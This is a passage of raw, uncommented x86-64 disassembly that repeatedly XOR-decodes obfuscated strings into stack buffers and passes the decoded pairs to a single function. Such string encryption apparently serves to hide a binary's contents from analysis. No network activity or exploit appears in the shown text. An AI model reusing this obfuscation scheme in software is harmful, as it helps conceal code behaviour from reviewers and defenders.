pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a3aa2
jmp 0x1400a3be0
lea r9, [rbp + 0xaf0]
mov r8d, r13d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a3bb0
lea r8, [0x1401a9829]
lea rdx, [rbp + 0xf08]
lea rcx, [rbp + 0xaf0]
call fcn.14007f300
movups xmm0, xmmword [0x140145048]
movups xmmword [rbp + 0xb00], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a3da0
cmp r12d, 2
jl 0x1400a3d62
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb04]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a3c60
jmp 0x1400a3da0
lea r9, [rbp + 0xb00]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a3d70
movsd xmm0, qword [str.KULR]
movsd qword [rbp + 0x5a0], xmm0
mov eax, dword [0x1401447d8]
mov dword [rbp + 0x5a8], eax
cmp byte [0x1401447db], 0
je 0x1400a3f20
mov r8d, r13d
cmp r12d, 2
jl 0x1400a3ede
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.KULR]
xorps xmm2, xmm0
movd dword [rbp + 0x5a0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5a4]
xorps xmm2, xmm1
movd dword [rbp + 0x5a4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a3ef0
lea r8, [0x1401a9830]
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x5a0]
call fcn.14007f300
movups xmm0, xmmword [0x140146660]
movups xmmword [rbp + 0xdd0], xmm0
mov eax, dword [0x140146670]
mov dword [rbp + 0xde0], eax
cmp byte [0x140146673], 0
je 0x1400a4100
mov r8d, r13d
cmp r12d, 2
jl 0x1400a40b9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xdd4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a3fb0
cmp r8d, 0x14
jge 0x1400a4100
movsxd rax, r8d
lea r9, [rbp + 0xdd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400a40d0
movups xmm0, xmmword [str.AJWSNWP.a21_GHXHOURZ3A]
movups xmmword [rbp + 0xb10], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a42a0
cmp r12d, 2
jl 0x1400a4264
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb14]
mov r8d, dword [rbp + 0x17a0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a4162
jmp 0x1400a42a0
lea r9, [rbp + 0xb10]
mov r8d, r13d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a4270
lea r8, [0x1401a981c]
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0xb10]
call fcn.14007f300
mov eax, dword [0x140145db0]
mov dword [rbp + 0x938], eax
movzx eax, word [0x140145db4]
mov word [rbp + 0x93c], ax
movsd xmm0, qword [0x140145da8]
movzx eax, byte [0x140145db6]
movsd qword [rbp + 0x930], xmm0
mov byte [rbp + 0x93e], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a4406
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145da8]
xorps xmm2, xmm0
movd dword [rbp + 0x930], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x934]
xorps xmm2, xmm1
movd dword [rbp + 0x934], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x930]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400a4420
movsd xmm0, qword [str.PH]
movsd qword [rbp + 0x4c0], xmm0
movzx ecx, word [0x140144af8]
mov word [rbp + 0x4c8], cx
movzx eax, byte [0x140144afa]
mov byte [rbp + 0x4c0], 0x46
xor byte [rbp + 0x4c1], 0x39
xor byte [rbp + 0x4c2], 0x3a
xor byte [rbp + 0x4c3], 0x3b
xor byte [rbp + 0x4c4], 0x3c
xor byte [rbp + 0x4c5], 0x3d
xor byte [rbp + 0x4c6], 0x3e
xor byte [rbp + 0x4c7], 0x3f
xor cl, 0x40
mov byte [rbp + 0x4c8], cl
xor byte [rbp + 0x4c9], 0x41
xor al, 0x42
mov byte [rbp + 0x4ca], al
lea r8, [0x1401a982e]
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x4c0]
call fcn.14007f300
movups xmm0, xmmword [0x140145148]
movups xmmword [rbp + 0xb20], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a4680
cmp r12d, 2
jl 0x1400a4643
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb24]
mov r8d, dword [rbp + 0x17a0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a4541
jmp 0x1400a4680
lea r9, [rbp + 0xb20]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a4650
movsd xmm0, qword [str.uVY]
movsd qword [rbp + 0x5b0], xmm0
mov eax, dword [0x140145d70]
mov dword [rbp + 0x5b8], eax
cmp byte [0x140145d73], 0
je 0x1400a4800
mov r8d, r13d
cmp r12d, 2
jl 0x1400a47be
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.uVY]
xorps xmm2, xmm0
movd dword [rbp + 0x5b0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5b4]
xorps xmm2, xmm1
movd dword [rbp + 0x5b4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a47d0
lea r8, [0x1401a9828]
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0x5b0]
call fcn.14007f300
movups xmm0, xmmword [0x140146678]
movups xmmword [rbp + 0x9d0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a49c0
cmp r12d, 2
jl 0x1400a4982
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x9d4]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a4880
jmp 0x1400a49c0
lea r9, [rbp + 0x9d0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a4990
movsd xmm0, qword [str.kM_ZQ]
movsd qword [rbp + 0x5c0], xmm0
mov eax, dword [0x140145220]
mov dword [rbp + 0x5c8], eax
cmp byte [0x140145223], 0
je 0x1400a4b40
mov r8d, r13d
cmp r12d, 2
jl 0x1400a4afe
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kM_ZQ]
xorps xmm2, xmm0
movd dword [rbp + 0x5c0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5c4]
xorps xmm2, xmm1
movd dword [rbp + 0x5c4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a4b10
lea r8, [0x1401a9827]
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x5c0]
call fcn.14007f300
movups xmm0, xmmword [0x140146878]
movups xmmword [rbp + 0xa50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a4d00
cmp r12d, 2
jl 0x1400a4cc2
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xa54]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a4bc0
jmp 0x1400a4d00
lea r9, [rbp + 0xa50]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a4cd0
movsd xmm0, qword [0x1401442f0]
movsd qword [rbp + 0x5d0], xmm0
mov eax, dword [0x1401442f8]
mov dword [rbp + 0x5d8], eax
cmp byte [0x1401442fb], 0
je 0x1400a4e80
mov r8d, r13d
cmp r12d, 2
jl 0x1400a4e3e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401442f0]
xorps xmm2, xmm0
movd dword [rbp + 0x5d0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
